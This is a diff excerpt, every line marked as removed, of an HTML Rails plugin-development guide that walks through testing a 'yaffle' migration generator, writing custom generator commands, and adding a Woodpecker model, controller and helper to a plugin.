-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/test_helper.rb'</span>
-<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'rails_generator'</span>
-<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'rails_generator/scripts/generate'</span>
-<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'rails_generator/scripts/destroy'</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> GeneratorTest <span style="color: #990000">&lt;</span> Test<span style="color: #990000">::</span>Unit<span style="color: #990000">::</span>TestCase
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> fake_rails_root
-    File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">),</span> <span style="color: #FF0000">'rails_root'</span><span style="color: #990000">)</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> file_list
-    Dir<span style="color: #990000">.</span>glob<span style="color: #990000">(</span>File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>fake_rails_root<span style="color: #990000">,</span> <span style="color: #FF0000">"db"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"migrate"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"*"</span><span style="color: #990000">))</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> setup
-    FileUtils<span style="color: #990000">.</span>mkdir_p<span style="color: #990000">(</span>fake_rails_root<span style="color: #990000">)</span>
-    <span style="color: #009900">@original_files</span> <span style="color: #990000">=</span> file_list
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> teardown
-    FileUtils<span style="color: #990000">.</span>rm_r<span style="color: #990000">(</span>fake_rails_root<span style="color: #990000">)</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_generates_correct_file_name
-    Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Scripts<span style="color: #990000">::</span>Generate<span style="color: #990000">.</span>new<span style="color: #990000">.</span>run<span style="color: #990000">([</span><span style="color: #FF0000">"yaffle"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"bird"</span><span style="color: #990000">],</span> <span style="color: #990000">:</span>destination <span style="color: #990000">=&gt;</span> fake_rails_root<span style="color: #990000">)</span>
-    new_file <span style="color: #990000">=</span> <span style="color: #990000">(</span>file_list <span style="color: #990000">-</span> <span style="color: #009900">@original_files</span><span style="color: #990000">).</span>first
-    assert_match <span style="color: #FF6600">/add_yaffle_fields_to_bird/</span><span style="color: #990000">,</span> new_file
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>You can run <em>rake</em> from the plugin directory to see this fail.  Unless you are doing more advanced generator commands it typically suffices to just test the Generate script, and trust that rails will handle the Destroy and Update commands for you.</p></div>
-<h3 id="_adding_to_the_manifest">4.2. Adding to the manifest</h3>
-<div class="para"><p>This example will demonstrate how to use one of the built-in generator methods named <em>migration_template</em> to create a migration file.  To start, update your generator file to look like this:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> YaffleGenerator <span style="color: #990000">&lt;</span> Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>NamedBase
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> manifest
-    record <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>m<span style="color: #990000">|</span>
-      m<span style="color: #990000">.</span>migration_template <span style="color: #FF0000">'migration:migration.rb'</span><span style="color: #990000">,</span> <span style="color: #FF0000">"db/migrate"</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>assigns <span style="color: #990000">=&gt;</span> yaffle_local_assigns<span style="color: #990000">,</span>
-        <span style="color: #990000">:</span>migration_file_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"add_yaffle_fields_to_#{custom_file_name}"</span>
-      <span style="color: #FF0000">}</span>
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  private
-    <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> custom_file_name
-      custom_name <span style="color: #990000">=</span> class_name<span style="color: #990000">.</span>underscore<span style="color: #990000">.</span>downcase
-      custom_name <span style="color: #990000">=</span> custom_name<span style="color: #990000">.</span>pluralize <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> ActiveRecord<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>pluralize_table_names
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-    <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> yaffle_local_assigns
-      returning<span style="color: #990000">(</span>assigns <span style="color: #990000">=</span> <span style="color: #FF0000">{}</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
-        assigns<span style="color: #990000">[:</span>migration_action<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"add"</span>
-        assigns<span style="color: #990000">[:</span>class_name<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"add_yaffle_fields_to_#{custom_file_name}"</span>
-        assigns<span style="color: #990000">[:</span>table_name<span style="color: #990000">]</span> <span style="color: #990000">=</span> custom_file_name
-        assigns<span style="color: #990000">[:</span>attributes<span style="color: #990000">]</span> <span style="color: #990000">=</span> <span style="color: #990000">[</span>Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>GeneratedAttribute<span style="color: #990000">.</span>new<span style="color: #990000">(</span><span style="color: #FF0000">"last_squawk"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"string"</span><span style="color: #990000">)]</span>
-      <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The generator creates a new file in <em>db/migrate</em> with a timestamp and an <em>add_column</em> statement.  It reuses the built in rails <tt>migration_template</tt> method, and reuses the built-in rails migration template.</p></div>
-<div class="para"><p>It's courteous to check to see if table names are being pluralized whenever you create a generator that needs to be aware of table names.  This way people using your generator won't have to manually change the generated files if they've turned pluralization off.</p></div>
-<h3 id="_manually_test_the_generator">4.3. Manually test the generator</h3>
-<div class="para"><p>To run the generator, type the following at the command line:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>./script/generate yaffle bird</tt></pre>
-</div></div>
-<div class="para"><p>and you will see a new file:</p></div>
-<div class="para"><p><strong>db/migrate/20080529225649_add_yaffle_fields_to_birds.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> AddYaffleFieldsToBirds <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
-    add_column <span style="color: #990000">:</span>birds<span style="color: #990000">,</span> <span style="color: #990000">:</span>last_squawk<span style="color: #990000">,</span> <span style="color: #990000">:</span>string
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
-    remove_column <span style="color: #990000">:</span>birds<span style="color: #990000">,</span> <span style="color: #990000">:</span>last_squawk
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<h3 id="_the_usage_file">4.4. The USAGE file</h3>
-<div class="para"><p>Rails ships with several built-in generators.  You can see all of the generators available to you by typing the following at the command line:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>script/generate</tt></pre>
-</div></div>
-<div class="para"><p>You should see something like this:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>Installed Generators
-  Plugins (vendor/plugins): yaffle
-  Builtin: controller, integration_test, mailer, migration, model, observer, plugin, resource, scaffold, session_migration</tt></pre>
-</div></div>
-<div class="para"><p>When you run <tt>script/generate yaffle</tt> you should see the contents of your <em>vendor/plugins/yaffle/generators/yaffle/USAGE</em> file.</p></div>
-<div class="para"><p>For this plugin, update the USAGE file looks like this:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>Description:
-    Creates a migration that adds yaffle squawk fields to the given model
-
-Example:
-    ./script/generate yaffle hickwall
-
-    This will create:
-        db/migrate/TIMESTAMP_add_yaffle_fields_to_hickwall</tt></pre>
-</div></div>
-</div>
-<h2 id="_add_a_custom_generator_command">5. Add a custom generator command</h2>
-<div class="sectionbody">
-<div class="para"><p>You may have noticed above that you can used one of the built-in rails migration commands <tt>migration_template</tt>.  If your plugin needs to add and remove lines of text from existing files you will need to write your own generator methods.</p></div>
-<div class="para"><p>This section describes how you you can create your own commands to add and remove a line of text from <em>routes.rb</em>.  This example creates a very simple method that adds or removes a text file.</p></div>
-<div class="para"><p>To start, add the following test method:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/test/generator_test.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_generates_definition
-  Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Scripts<span style="color: #990000">::</span>Generate<span style="color: #990000">.</span>new<span style="color: #990000">.</span>run<span style="color: #990000">([</span><span style="color: #FF0000">"yaffle"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"bird"</span><span style="color: #990000">],</span> <span style="color: #990000">:</span>destination <span style="color: #990000">=&gt;</span> fake_rails_root<span style="color: #990000">)</span>
-  definition <span style="color: #990000">=</span> File<span style="color: #990000">.</span>read<span style="color: #990000">(</span>File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>fake_rails_root<span style="color: #990000">,</span> <span style="color: #FF0000">"definition.txt"</span><span style="color: #990000">))</span>
-  assert_match <span style="color: #FF6600">/Yaffle\:/</span><span style="color: #990000">,</span> definition
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Run <tt>rake</tt> to watch the test fail, then make the test pass add the following:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/generators/yaffle/templates/definition.txt</strong></p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>Yaffle: A bird</tt></pre>
-</div></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/lib/yaffle.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">"yaffle/commands"</span>
-</tt></pre></div></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/lib/commands.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'rails_generator'</span>
-<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'rails_generator/commands'</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Yaffle <span style="font-style: italic"><span style="color: #9A1900">#:nodoc:</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Generator <span style="font-style: italic"><span style="color: #9A1900">#:nodoc:</span></span>
-    <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Commands <span style="font-style: italic"><span style="color: #9A1900">#:nodoc:</span></span>
-      <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Create
-        <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> yaffle_definition
-          file<span style="color: #990000">(</span><span style="color: #FF0000">"definition.txt"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"definition.txt"</span><span style="color: #990000">)</span>
-        <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-      <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-      <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Destroy
-        <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> yaffle_definition
-          file<span style="color: #990000">(</span><span style="color: #FF0000">"definition.txt"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"definition.txt"</span><span style="color: #990000">)</span>
-        <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-      <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-      <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> List
-        <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> yaffle_definition
-          file<span style="color: #990000">(</span><span style="color: #FF0000">"definition.txt"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"definition.txt"</span><span style="color: #990000">)</span>
-        <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-      <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-      <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> Update
-        <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> yaffle_definition
-          file<span style="color: #990000">(</span><span style="color: #FF0000">"definition.txt"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"definition.txt"</span><span style="color: #990000">)</span>
-        <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-      <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Commands<span style="color: #990000">::</span>Create<span style="color: #990000">.</span>send   <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span>  Yaffle<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Commands<span style="color: #990000">::</span>Create
-Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Commands<span style="color: #990000">::</span>Destroy<span style="color: #990000">.</span>send  <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span>  Yaffle<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Commands<span style="color: #990000">::</span>Destroy
-Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Commands<span style="color: #990000">::</span>List<span style="color: #990000">.</span>send     <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span>  Yaffle<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Commands<span style="color: #990000">::</span>List
-Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Commands<span style="color: #990000">::</span>Update<span style="color: #990000">.</span>send   <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span><span style="color: #990000">,</span>  Yaffle<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>Commands<span style="color: #990000">::</span>Update
-</tt></pre></div></div>
-<div class="para"><p>Finally, call your new method in the manifest:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/generators/yaffle/yaffle_generator.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> YaffleGenerator <span style="color: #990000">&lt;</span> Rails<span style="color: #990000">::</span>Generator<span style="color: #990000">::</span>NamedBase
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> manifest
-    m<span style="color: #990000">.</span>yaffle_definition
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-</div>
-<h2 id="_add_a_model">6. Add a model</h2>
-<div class="sectionbody">
-<div class="para"><p>This section describes how to add a model named <em>Woodpecker</em> to your plugin that will behave the same as a model in your main app.  When storing models, controllers, views and helpers in your plugin, it's customary to keep them in directories that match the rails directories.  For this example, create a file structure like this:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>vendor/plugins/yaffle/
-|-- lib
-|   |-- app
-|   |   |-- controllers
-|   |   |-- helpers
-|   |   |-- models
-|   |   |   `-- woodpecker.rb
-|   |   `-- views
-|   |-- yaffle
-|   |   |-- acts_as_yaffle.rb
-|   |   |-- commands.rb
-|   |   `-- core_ext.rb
-|   `-- yaffle.rb</tt></pre>
-</div></div>
-<div class="para"><p>As always, start with a test:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/yaffle/woodpecker_test.rb:</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/test_helper.rb'</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> WoodpeckerTest <span style="color: #990000">&lt;</span> Test<span style="color: #990000">::</span>Unit<span style="color: #990000">::</span>TestCase
-  load_schema
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_woodpecker
-    assert_kind_of Woodpecker<span style="color: #990000">,</span> Woodpecker<span style="color: #990000">.</span>new
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This is just a simple test to make sure the class is being loaded correctly.  After watching it fail with <tt>rake</tt>, you can make it pass like so:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/lib/yaffle.rb:</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #990000">%</span>w<span style="color: #FF0000">{</span> models <span style="color: #FF0000">}</span><span style="color: #990000">.</span>each <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>dir<span style="color: #990000">|</span>
-  path <span style="color: #990000">=</span> File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">),</span> <span style="color: #FF0000">'app'</span><span style="color: #990000">,</span> dir<span style="color: #990000">)</span>
-  <span style="color: #009900">$LOAD_PATH</span> <span style="color: #990000">&lt;&lt;</span> path
-  ActiveSupport<span style="color: #990000">::</span>Dependencies<span style="color: #990000">.</span>load_paths <span style="color: #990000">&lt;&lt;</span> path
-  ActiveSupport<span style="color: #990000">::</span>Dependencies<span style="color: #990000">.</span>load_once_paths<span style="color: #990000">.</span>delete<span style="color: #990000">(</span>path<span style="color: #990000">)</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Adding directories to the load path makes them appear just like files in the the main app directory - except that they are only loaded once, so you have to restart the web server to see the changes in the browser.  Removing directories from the <em>load_once_paths</em> allow those changes to picked up as soon as you save the file - without having to restart the web server.  This is particularly useful as you develop the plugin.</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/lib/app/models/woodpecker.rb:</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Woodpecker <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Finally, add the following to your plugin's <em>schema.rb</em>:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/test/schema.rb:</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>ActiveRecord<span style="color: #990000">::</span>Schema<span style="color: #990000">.</span>define<span style="color: #990000">(:</span>version <span style="color: #990000">=&gt;</span> <span style="color: #993399">0</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
-  create_table <span style="color: #990000">:</span>woodpeckers<span style="color: #990000">,</span> <span style="color: #990000">:</span>force <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
-    t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Now your test should be passing, and you should be able to use the Woodpecker model from within your rails app, and any changes made to it are reflected immediately when running in development mode.</p></div>
-</div>
-<h2 id="_add_a_controller">7. Add a controller</h2>
-<div class="sectionbody">
-<div class="para"><p>This section describes how to add a controller named <em>woodpeckers</em> to your plugin that will behave the same as a controller in your main app.  This is very similar to adding a model.</p></div>
-<div class="para"><p>You can test your plugin's controller as you would test any other controller:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/yaffle/woodpeckers_controller_test.rb:</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/test_helper.rb'</span>
-<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'woodpeckers_controller'</span>
-<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'action_controller/test_process'</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> WoodpeckersController<span style="color: #990000">;</span> <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> rescue_action<span style="color: #990000">(</span>e<span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">raise</span></span> e <span style="font-weight: bold"><span style="color: #0000FF">end</span></span><span style="color: #990000">;</span> <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> WoodpeckersControllerTest <span style="color: #990000">&lt;</span> Test<span style="color: #990000">::</span>Unit<span style="color: #990000">::</span>TestCase
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> setup
-    <span style="color: #009900">@controller</span> <span style="color: #990000">=</span> WoodpeckersController<span style="color: #990000">.</span>new
-    <span style="color: #009900">@request</span> <span style="color: #990000">=</span> ActionController<span style="color: #990000">::</span>TestRequest<span style="color: #990000">.</span>new
-    <span style="color: #009900">@response</span> <span style="color: #990000">=</span> ActionController<span style="color: #990000">::</span>TestResponse<span style="color: #990000">.</span>new
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_index
-    get <span style="color: #990000">:</span>index
-    assert_response <span style="color: #990000">:</span>success
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This is just a simple test to make sure the controller is being loaded correctly.  After watching it fail with <tt>rake</tt>, you can make it pass like so:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/lib/yaffle.rb:</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #990000">%</span>w<span style="color: #FF0000">{</span> models controllers <span style="color: #FF0000">}</span><span style="color: #990000">.</span>each <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>dir<span style="color: #990000">|</span>
-  path <span style="color: #990000">=</span> File<span style="color: #990000">.</span>join<span style="color: #990000">(</span>File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">),</span> <span style="color: #FF0000">'app'</span><span style="color: #990000">,</span> dir<span style="color: #990000">)</span>
-  <span style="color: #009900">$LOAD_PATH</span> <span style="color: #990000">&lt;&lt;</span> path
-  ActiveSupport<span style="color: #990000">::</span>Dependencies<span style="color: #990000">.</span>load_paths <span style="color: #990000">&lt;&lt;</span> path
-  ActiveSupport<span style="color: #990000">::</span>Dependencies<span style="color: #990000">.</span>load_once_paths<span style="color: #990000">.</span>delete<span style="color: #990000">(</span>path<span style="color: #990000">)</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/lib/app/controllers/woodpeckers_controller.rb:</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> WoodpeckersController <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>Base
-
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> index
-    render <span style="color: #990000">:</span>text <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Squawk!"</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Now your test should be passing, and you should be able to use the Woodpeckers controller in your app.  If you add a route for the woodpeckers controller you can start up your server and go to <a href="http://localhost:3000/woodpeckers">http://localhost:3000/woodpeckers</a> to see your controller in action.</p></div>
-</div>
-<h2 id="_add_a_helper">8. Add a helper</h2>
-<div class="sectionbody">
-<div class="para"><p>This section describes how to add a helper named <em>WoodpeckersHelper</em> to your plugin that will behave the same as a helper in your main app.  This is very similar to adding a model and a controller.</p></div>
-<div class="para"><p>You can test your plugin's helper as you would test any other helper:</p></div>
-<div class="para"><p><strong>vendor/plugins/yaffle/test/woodpeckers_helper_test.rb</strong></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> File<span style="color: #990000">.</span>dirname<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">__FILE__</span></span><span style="color: #990000">)</span> <span style="color: #990000">+</span> <span style="color: #FF0000">'/test_helper.rb'</span>
-<span style="font-weight: bold"><span style="color: #0000FF">include</span></span> WoodpeckersHelper
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> WoodpeckersHelperTest <span style="color: #990000">&lt;</span> Test<span style="color: #990000">::</span>Unit<span style="color: #990000">::</span>TestCase
-  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_tweet
-    assert_equal <span style="color: #FF0000">"Tweet! Hello"</span><span style="color: #990000">,</span> tweet<span style="color: #990000">(</span><span style="color: #FF0000">"Hello"</span><span style="color: #990000">)</span>
-  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
